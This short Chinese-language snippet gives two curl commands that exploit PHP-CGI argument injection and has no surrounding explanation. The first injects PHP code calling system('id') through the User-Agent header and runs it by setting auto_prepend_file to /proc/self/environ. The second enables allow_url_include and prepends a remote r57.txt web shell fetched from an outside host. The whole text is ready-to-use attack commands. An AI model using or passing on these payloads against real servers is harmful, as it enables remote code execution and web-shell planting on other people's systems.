1、本地包含直接执行代码:

curl -H "USER-AGENT: <?system('id');die();?>" https://www.webshell.cc/test.php?-dauto_prepend_file%3d/proc/self/environ+-n

2、远程包含执行代码:

curl https://www.webshell.cc/test.php?-dallow_url_include%3don+-dauto_prepend_file%3dhttps://www.webshell.cc/r57.txt